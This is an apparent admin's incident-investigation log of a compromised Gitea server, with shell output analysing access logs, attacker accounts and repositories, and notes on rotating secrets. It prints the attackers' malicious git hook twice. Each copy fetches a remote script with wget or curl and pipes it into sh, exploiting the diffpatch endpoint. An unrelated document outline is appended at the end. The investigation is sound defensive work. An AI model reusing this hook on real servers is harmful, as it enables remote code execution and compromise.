root@sv003 /opt/appdata/gitea/git/repositories # zgrep -cHE 'testpoc|1337|sign_up' /var/log/apache2/other_vhosts_access.log* /var/log/apache2/other_vhosts_access.log:546 /var/log/apache2/other_vhosts_access.log.1:1187 /var/log/apache2/other_vhosts_access.log.10.gz:1236 /var/log/apache2/other_vhosts_access.log.11.gz:1092 /var/log/apache2/other_vhosts_access.log.12.gz:937 /var/log/apache2/other_vhosts_access.log.13.gz:1428 /var/log/apache2/other_vhosts_access.log.14.gz:1231 /var/log/apache2/other_vhosts_access.log.2.gz:1230 /var/log/apache2/other_vhosts_access.log.3.gz:1299 /var/log/apache2/other_vhosts_access.log.4.gz:1206 /var/log/apache2/other_vhosts_access.log.5.gz:1172 /var/log/apache2/other_vhosts_access.log.6.gz:1318 /var/log/apache2/other_vhosts_access.log.7.gz:1274 /var/log/apache2/other_vhosts_access.log.8.gz:1187 /var/log/apache2/other_vhosts_access.log.9.gz:1207 root@sv003 /opt/appdata/gitea/git/repositories #

root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h 'testpoc' /var/log/apache2/other_vhosts_access.log* | awk '{print $6, $7}' | sed -E 's#testpoc[0-9]+#testpocN#; s#poc-[0-9]+#poc-N#; s#?.*##' | sort | uniq -c | sort -rn | head -50 root@sv003 /opt/appdata/gitea/git/repositories #

root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '"POST' /var/log/apache2/other_vhosts_access.log* | awk '{print $6, $7}' | sed -E 's#[0-9]+#N#g; s#?.*##' | sort | uniq -c | sort -rn | head -30 113136 +N] "POST root@sv003 /opt/appdata/gitea/git/repositories #

root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '"POST' /var/log/apache2/other_vhosts_access.log* | awk '{print $7, $8}' | sed -E 's#[0-9]+#N#g; s#?.*##' | sort | uniq -c | sort -rn | head -30 78381 "POST /xmlrpc.php 13767 "POST /wp-login.php 7320 "POST //wp-login.php 2628 "POST / 930 "POST /wp-cron.php 754 "POST //xmlrpc.php 657 "POST /wp-json/batch/vN 480 "POST /wp/ 459 "POST /wordpress/ 432 "POST /index.php 427 "POST /blog/ 320 "POST /wp/index.php 307 "POST /wordpress/index.php 292 "POST /wordpress/wp-json/batch/vN 286 "POST /blog/index.php 280 "POST /blog/wp-json/batch/vN 160 "POST /wp/wp-json/batch/vN/ 160 "POST /wp/wordpress/wp-json/batch/vN 160 "POST /wp/blog/wp-json/batch/vN 159 "POST /wp/wp-json/batch/vN 158 "POST /wp//wp-json/batch/vN 157 "POST /wp/wp-json/Batch/vN 154 "POST /wordpress/wp-json/Batch/vN 154 "POST /wordpress/wp-json/batch/vN/ 154 "POST /wordpress//wp-json/batch/vN 154 "POST /wordpress/wordpress/wp-json/batch/vN 154 "POST /wordpress/blog/wp-json/batch/vN 142 "POST /blog/wp-json/Batch/vN 142 "POST /blog/wp-json/batch/vN/ 142 "POST /blog//wp-json/batch/vN root@sv003 /opt/appdata/gitea/git/repositories #

root@sv003 /home/svn # zcat -f /var/log/apache2/other_vhosts_access.log* | awk '{print $1}' | sort | uniq -c | sort -rn | head 175445 destengs.com:443 143223 destengs.de:443 54077 destengs.com:80 24393 destengs.de:80 14 sv003.destengs.com:80 root@sv003 /home/svn #

root@sv003 /home/svn # zcat -f /var/log/apache2/other_vhosts_access.log* | grep -E 'api/v1|git-upload-pack|git-receive-pack|/user/login' | awk '{print $1}' | sort | uniq -c | sort -rn 450 destengs.com:443 219 destengs.de:443 84 destengs.com:80 root@sv003 /home/svn #

root@sv003 /home/svn # grep -rn '8084' /etc/apache2/ /etc/apache2/sites-available/git.destengs.com.conf:39: BalancerMember http://127.0.0.1:8084 /etc/apache2/sites-available/git.destengs.com.conf:88: BalancerMember http://127.0.0.1:8084 root@sv003 /home/svn #

root@sv003 /home/svn # grep -nE 'ServerName|CustomLog|ErrorLog' /etc/apache2/sites-available/git.destengs.com.conf 3: ServerName git.destengs.com 9: ErrorLog /var/log/virtualmin/git.destengs.com_error_log 10: CustomLog /var/log/virtualmin/git.destengs.com_access_log combined 46: ServerName git.destengs.com 52: ErrorLog /var/log/virtualmin/git.destengs.com_error_log 53: CustomLog /var/log/virtualmin/git.destengs.com_access_log combined root@sv003 /home/svn #

root@sv003 /home/svn # zgrep -cH 'diffpatch' /var/log/virtualmin/git.destengs.com_access_log* /var/log/virtualmin/git.destengs.com_access_log:729 /var/log/virtualmin/git.destengs.com_access_log.1.gz:1124 /var/log/virtualmin/git.destengs.com_access_log.2.gz:265 /var/log/virtualmin/git.destengs.com_access_log.3.gz:891 /var/log/virtualmin/git.destengs.com_access_log.4.gz:2407 /var/log/virtualmin/git.destengs.com_access_log.5.gz:2589 root@sv003 /home/svn #

Hier erstmal das Ergebnis deiner Code-Zeile:

root@sv003 /home/svn # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | awk '{print $1, $9}' | sort | uniq -c | sort -rn | head -20
   2112 103.13.206.65 201
   1454 172.234.102.123 201
   1118 138.199.60.33 201
   1045 192.53.122.108 201
    371 138.199.60.39 201
    360 74.7.241.12 303
    278 107.172.58.36 201
    246 216.73.217.135 303
    246 216.73.217.135 200
    190 74.7.243.192 303
    162 23.94.216.234 201
     53 74.7.227.174 303
     48 93.123.109.101 303
     48 172.234.102.123 502
     41 213.209.159.133 303
     41 213.209.159.133 200
     38 138.199.60.33 502
     26 74.7.227.170 303
     21 192.53.122.108 502
     19 74.7.227.17 303
root@sv003 /home/svn #

Ja, bitte zeige mir nochmal, wie ich die Registrierung sperre.

OK, die Registrierung ist nun gesperrt.

root@sv003 ~/docker/git # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | awk '{print $7}' | awk -F/ '{if ($2=="api") print $5; else print $2}' | sort | uniq -c | sort -rn | head -20 3131 gitea1337 3116 giteaa1337 420 tlg 289 user 217 wlfb 209 mkt 79 lwc 23 llm 14 wbg 9 pln 8 trf 7 ncd 7 n8n 7 krtr 5 rdms 3 testpoc99091 3 testpoc98983 3 testpoc98707 3 testpoc98701 3 testpoc98443 root@sv003 ~/docker/git #

root@sv003 ~/docker/git # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | grep -vE 'gitea1337|giteaa1337|testpoc' | awk '{print $1, $6, $9}' | sort | uniq -c | sort -rn | head -20 360 74.7.241.12 "GET 303 246 216.73.217.135 "GET 303 246 216.73.217.135 "GET 200 190 74.7.243.192 "GET 303 53 74.7.227.174 "GET 303 48 93.123.109.101 "GET 303 41 213.209.159.133 "GET 303 41 213.209.159.133 "GET 200 26 74.7.227.170 "GET 303 19 74.7.227.17 "GET 303 9 74.7.227.38 "GET 303 7 74.7.241.25 "GET 303 6 74.7.227.160 "GET 303 2 74.7.241.12 "GET 200 root@sv003 ~/docker/git #

Bevor wir das tun, bitte analysieren, in welchem Umfang die Angreifer Inhalte auf den Server hochgeladen haben und welche Inhalte das waren.

root@sv003 ~/docker/git # du -sh /opt/appdata/gitea/git/repositories/* | sort -rh | head -30 455M /opt/appdata/gitea/git/repositories/gitea1337 453M /opt/appdata/gitea/git/repositories/giteaa1337 16M /opt/appdata/gitea/git/repositories/tlg 3.1M /opt/appdata/gitea/git/repositories/wlfb 816K /opt/appdata/gitea/git/repositories/llm 720K /opt/appdata/gitea/git/repositories/lwc 660K /opt/appdata/gitea/git/repositories/mkt 404K /opt/appdata/gitea/git/repositories/ncd 316K /opt/appdata/gitea/git/repositories/testpoc96516 316K /opt/appdata/gitea/git/repositories/testpoc95946 316K /opt/appdata/gitea/git/repositories/testpoc93288 316K /opt/appdata/gitea/git/repositories/testpoc85733 316K /opt/appdata/gitea/git/repositories/testpoc82932 316K /opt/appdata/gitea/git/repositories/testpoc82705 316K /opt/appdata/gitea/git/repositories/testpoc79896 316K /opt/appdata/gitea/git/repositories/testpoc69572 316K /opt/appdata/gitea/git/repositories/testpoc66868 316K /opt/appdata/gitea/git/repositories/testpoc63173 316K /opt/appdata/gitea/git/repositories/testpoc58970 316K /opt/appdata/gitea/git/repositories/testpoc55339 316K /opt/appdata/gitea/git/repositories/testpoc52938 316K /opt/appdata/gitea/git/repositories/testpoc50766 316K /opt/appdata/gitea/git/repositories/testpoc42534 316K /opt/appdata/gitea/git/repositories/testpoc40770 316K /opt/appdata/gitea/git/repositories/testpoc38905 316K /opt/appdata/gitea/git/repositories/testpoc38380 316K /opt/appdata/gitea/git/repositories/testpoc13731 316K /opt/appdata/gitea/git/repositories/testpoc12313 312K /opt/appdata/gitea/git/repositories/testpoc97134 312K /opt/appdata/gitea/git/repositories/testpoc87888 root@sv003 ~/docker/git #

root@sv003 ~/docker/git # du -sk /opt/appdata/gitea/git/repositories/gitea1337/* /opt/appdata/gitea/git/repositories/giteaa1337/* | sort -rn | head -10 304 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-63188.git 300 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-22675.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99938.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99901.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99882.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99877.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99860.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99747.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99670.git 288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99534.git root@sv003 ~/docker/git #

root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-63188.git log --all --stat --format='%h %an %ad %s' | head -30 0f01a93 poc Tue Aug 25 08:01:44 2026 +0000 rce proof

proof | 0 1 file changed, 0 insertions(+), 0 deletions(-) 7f2e27a giteaa1337 Mon Jan 1 00:00:00 2001 +0000 apply-2 79c502c giteaa1337 Mon Jan 1 00:00:00 2001 +0000 apply-1

hooks/post-index-change | 14 ++++++++++++++ 1 file changed, 14 insertions(+) c609db6 giteaa1337 Tue Aug 25 08:01:37 2026 +0000 Initial commit

README.md | 2 ++ 1 file changed, 2 insertions(+) root@sv003 ~/docker/git #

root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-63188.git show 79c502c:hooks/post-index-change #!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 3 output_blob=$(busybox wget --no-check-certificate -q -O- http://repositorylinux.jo3.org/cronsys | sh 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 exit 0 root@sv003 ~/docker/git #

root@sv003 ~/docker/git # find /opt/appdata/gitea -type f -perm /111 -newermt 2026-08-01 -not -path '/repositories/' /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/commit-msg.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/sendemail-validate.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/prepare-commit-msg.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/push-to-checkout.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-push.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-merge-commit.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-rebase.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/update.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-applypatch.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-update.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-commit.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-receive.sample /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/applypatch-msg.sample root@sv003 ~/docker/git #

root@sv003 ~/docker/git # stat -c '%y %s Bytes' /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change && cat /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change 2026-09-24 10:32:24.627976734 +0200 844 Bytes #!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 3 output_blob=$(curl -s -k https://archive.repositoryserver.org/linuxsh | sh 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 exit 0 root@sv003 ~/docker/git #

root@sv003 ~/docker/git # docker image inspect gitea/gitea:1.27.3 --format '{{.Metadata.LastTagTime}}' 0001-01-01 00:00:00 +0000 UTC root@sv003 ~/docker/git #

root@sv003 ~/docker/git # docker inspect gitea --format '{{.Created}}' 2026-09-24T10:36:22.759809116Z root@sv003 ~/docker/git #

root@sv003 ~/docker/git # grep 'diffpatch' /var/log/virtualmin/git.destengs.com_access_log | tail -5 | awk '{print $1, $4, $9}' 138.199.60.39 [24/Sep/2026:12:02:35 201 138.199.60.39 [24/Sep/2026:12:02:38 201 138.199.60.39 [24/Sep/2026:12:02:36 201 138.199.60.39 [24/Sep/2026:12:02:39 201 138.199.60.39 [24/Sep/2026:12:02:37 201 root@sv003 ~/docker/git #

root@sv003 ~/docker/git # docker exec -u git gitea sh -c 'for r in /data/git/repositories//.git; do s=$(git --git-dir="$r" cat-file -s rce-proof:proof 2>/dev/null) && echo "$s $r"; done | sort -rn | head -10' 783 /data/git/repositories/testpoc95173/poc-38464.git 783 /data/git/repositories/testpoc60874/poc-41072.git 506 /data/git/repositories/giteaa1337/giteaa-98896.git 506 /data/git/repositories/giteaa1337/giteaa-92169.git 506 /data/git/repositories/giteaa1337/giteaa-89750.git 506 /data/git/repositories/giteaa1337/giteaa-89164.git 506 /data/git/repositories/giteaa1337/giteaa-88596.git 506 /data/git/repositories/giteaa1337/giteaa-84205.git 506 /data/git/repositories/giteaa1337/giteaa-82686.git 506 /data/git/repositories/giteaa1337/giteaa-81163.git root@sv003 ~/docker/git #

root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-98896.git cat-file -p rce-proof:proof You can get through this! ps: unrecognized option: sort=-%cpu BusyBox v1.37.0 (2025-08-05 16:40:33 UTC) multi-call binary.

Usage: ps [-o COL1,COL2=HEADER] [-T]

Show list of processes

    -o COL1,COL2=HEADER     Select columns for display
    -T                      Show threads

There is still a process! ps: unrecognized option: sort=-%cpu BusyBox v1.37.0 (2025-08-05 16:40:33 UTC) multi-call binary.

Usage: ps [-o COL1,COL2=HEADER] [-T]

Show list of processes

    -o COL1,COL2=HEADER     Select columns for display
    -T                      Show threads

root@sv003 ~/docker/git #

root@sv003 ~/backup # tar czf ./gitea-hack-evidence.tgz /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-98896.git /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-63188.git /opt/appdata/gitea/git/repositories/testpoc60874 /opt/appdata/gitea/git/repositories/testpoc95173 /opt/appdata/gitea/gitea/tmp/local-repo /var/log/virtualmin/git.destengs.com_* tar: Removing leading /' from member names tar: Removing leading /' from hard link targets root@sv003 ~/backup # ls -alhrt total 80M -rw-r--r-- 1 root root 54M Sep 24 12:31 gitea-backup_2026-09-24_12-31.tar.gz drwx------ 18 root root 4.0K Sep 24 12:35 .. drwxr-xr-x 2 root root 4.0K Sep 24 16:53 . -rw-r--r-- 1 root root 27M Sep 24 16:53 gitea-hack-evidence.tgz root@sv003 ~/backup #

root@sv003 ~/backup # docker exec -u git gitea gitea admin user list | awk 'NR>1 && $1>=15 {print $2}' > /root/attacker-users.txt root@sv003 ~/backup # wc -l /root/attacker-users.txt 257 /root/attacker-users.txt root@sv003 ~/backup # grep -vE '^testpoc|1337' /root/attacker-users.txt jujpqlugml dqyywxkedt oehhhkluuj root@sv003 ~/backup #

2026/09/24 15:09:09 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners 2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments 2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars 2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars 2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs 2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive 2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages 2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log 2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts 2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners 2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments 2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars 2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars 2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs 2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive 2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages 2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log 2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts 2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners 2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments 2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars 2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars 2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs 2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive 2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages 2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log 2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local 2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts 2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners root@sv003 ~/backup #

root@sv003 ~/backup # docker exec -u git gitea gitea admin user list ID Username Email IsActive IsAdmin 2FA 1 admin nix@no.de true true false 2 tlg tlg@nix.de true false false 3 llm llm@nix.de true false false 4 wbg wbg@nix.de true false false 5 n8n n8n@nix.de true false false 6 krtr krtr@nix.de true false false 7 try try@nix.de true false false 8 trf trf@nix.de true false false 9 ncd ncd@nix.de true false false 10 rdms Thomas.Langer@destengs.com true false false 11 pln No@nix.de true false false 12 mkt mkt@nix.no true false false 13 lwc lwc@nix.de true false false 14 wlfb wlfb@nix.no true false false root@sv003 ~/backup #

root@sv003 ~/backup # grep -nE '^[|SECRET|TOKEN|PASSWD|PASSWORD|DB_TYPE' /opt/appdata/gitea/gitea/conf/app.ini | sed -E 's/(=[ ])./\1/' 6:[repository] 9:[repository.local] 12:[repository.upload] 15:[server] 25:LFS_JWT_SECRET = 28:[database] 30:DB_TYPE = 34:PASSWD = 39:[indexer] 42:[session] 46:[picture] 50:[attachment] 53:[log] 58:[security] 60:SECRET_KEY = 63:INTERNAL_TOKEN = 64:PASSWORD_HASH_ALGO = 66:[service] 78:[lfs] 81:[mailer] 84:[openid] 88:[cron.update_checker] 91:[repository.pull-request] 94:[repository.signing] 97:[oauth2] 98:JWT_SECRET = root@sv003 ~/backup #

root@sv003 ~/backup # sed -n '28,38p' /opt/appdata/gitea/gitea/conf/app.ini | grep -v PASSWD [database] PATH = /data/gitea/gitea.db DB_TYPE = sqlite3 HOST = localhost:3306 NAME = gitea USER = root LOG_SQL = false SCHEMA = SSL_MODE = disable

root@sv003 ~/backup #

root@sv003 ~/backup # diff /root/backup/app.ini.before-rotation /opt/appdata/gitea/gitea/conf/app.ini | sed -E 's/(=[ ])./\1/' 25c25 < LFS_JWT_SECRET =

LFS_JWT_SECRET = 60c60 < SECRET_KEY =

SECRET_KEY = 63c63 < INTERNAL_TOKEN =

INTERNAL_TOKEN = 98c98 < JWT_SECRET =

JWT_SECRET = root@sv003 ~/backup #

root@sv003 ~/backup # cd ~/docker/git && docker compose restart WARN[0000] /root/docker/git/docker-compose.yml: version is obsolete [+] Restarting 1/1 ✔ Container gitea Started 1.0s root@sv003 ~/docker/git # root@sv003 ~/docker/git # docker compose logs --tail 30 gitea WARN[0000] /root/docker/git/docker-compose.yml: version is obsolete gitea | 2026/09/24 15:24:27 routers/init.go:117:InitWebInstalled() [I] Git version: 2.54.0 (home: /data/gitea/home) gitea | 2026/09/24 15:24:27 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments gitea | 2026/09/24 15:24:27 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars gitea | 2026/09/24 15:24:27 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars gitea | 2026/09/24 15:24:27 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs gitea | 2026/09/24 15:24:27 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive gitea | 2026/09/24 15:24:27 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages gitea | 2026/09/24 15:24:27 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log gitea | 2026/09/24 15:24:27 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts gitea | 2026/09/24 15:24:27 routers/common/db.go:22:InitDBEngine() [I] Beginning ORM engine initialization. gitea | 2026/09/24 15:24:27 routers/common/db.go:29:InitDBEngine() [I] ORM engine initialization attempt #1/10... gitea | 2026/09/24 15:24:27 cmd/web.go:205:serveInstalled() [I] PING DATABASE sqlite3 gitea | 2026/09/24 15:24:27 cmd/web.go:205:serveInstalled() [W] Table system_setting Column version db default is , struct default is 1 gitea | 2026/09/24 15:24:27 routers/init.go:138:InitWebInstalled() [I] ORM engine initialization successful! gitea | 2026/09/24 15:24:27 .../indexer/stats/indexer.go:41:populateRepoIndexer() [I] Populating the repo stats indexer with existing repositories gitea | 2026/09/24 15:24:27 .../indexer/issues/indexer.go:78:InitIssueIndexer.1() [I] PID 16: Initializing Issue Indexer: bleve gitea | 2026/09/24 15:24:27 .../indexer/stats/indexer.go:87:populateRepoIndexer() [I] Done (re)populating the repo stats indexer with existing repositories gitea | 2026/09/24 15:24:27 .../indexer/issues/indexer.go:155:InitIssueIndexer.2() [I] Issue Indexer Initialization took 713.587µs gitea | 2026/09/24 15:24:27 cmd/web.go:329:listen() [I] Listen: http://0.0.0.0:3000 gitea | 2026/09/24 15:24:27 cmd/web.go:333:listen() [I] AppURL(ROOT_URL): https://git.destengs.com/ gitea | 2026/09/24 15:24:27 cmd/web.go:336:listen() [I] LFS server enabled gitea | 2026/09/24 15:24:27 modules/graceful/server.go:52:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 16 root@sv003 ~/docker/git #

Du schriebst "Ein starkes, einmaliges Passwort ist dagegen sicher, ein schwaches oder wiederverwendetes nicht. Deshalb ändern wir sie."

Falsch, wir ändern sie nicht. Alle Nutzer haben starke Passwörter verwendet. Wenn nur die Passwort-Hashes gespeichert waren und erbeutet wurden, brauchen die Passworte nicht geändert werden.

93 KiB Raw Blame History

Troubleshoot datacenter server https error

Setup

Problem

First own troubleshooting

Your tasks

Understand the root cause

Repair the SSL certificate setup

Repair SSL connection

Podman shell script for AFFiNE service

Motivation

Shell script requirements

Shell script style

Your tasks

Ask first

Identify the container image

Write the shell script

Test the shell script

Redesign if necessary

Your objectives

Your behaviour

New Traefik route

Motivation

Traefik service

Traefik configuration

New service

Your tasks

Apache reverse proxy forwarding to another host

Setup

Linux server sv005.destengs.com

Linux server DesTEngSsv006

Previous problems

SSL certificate renewal failed

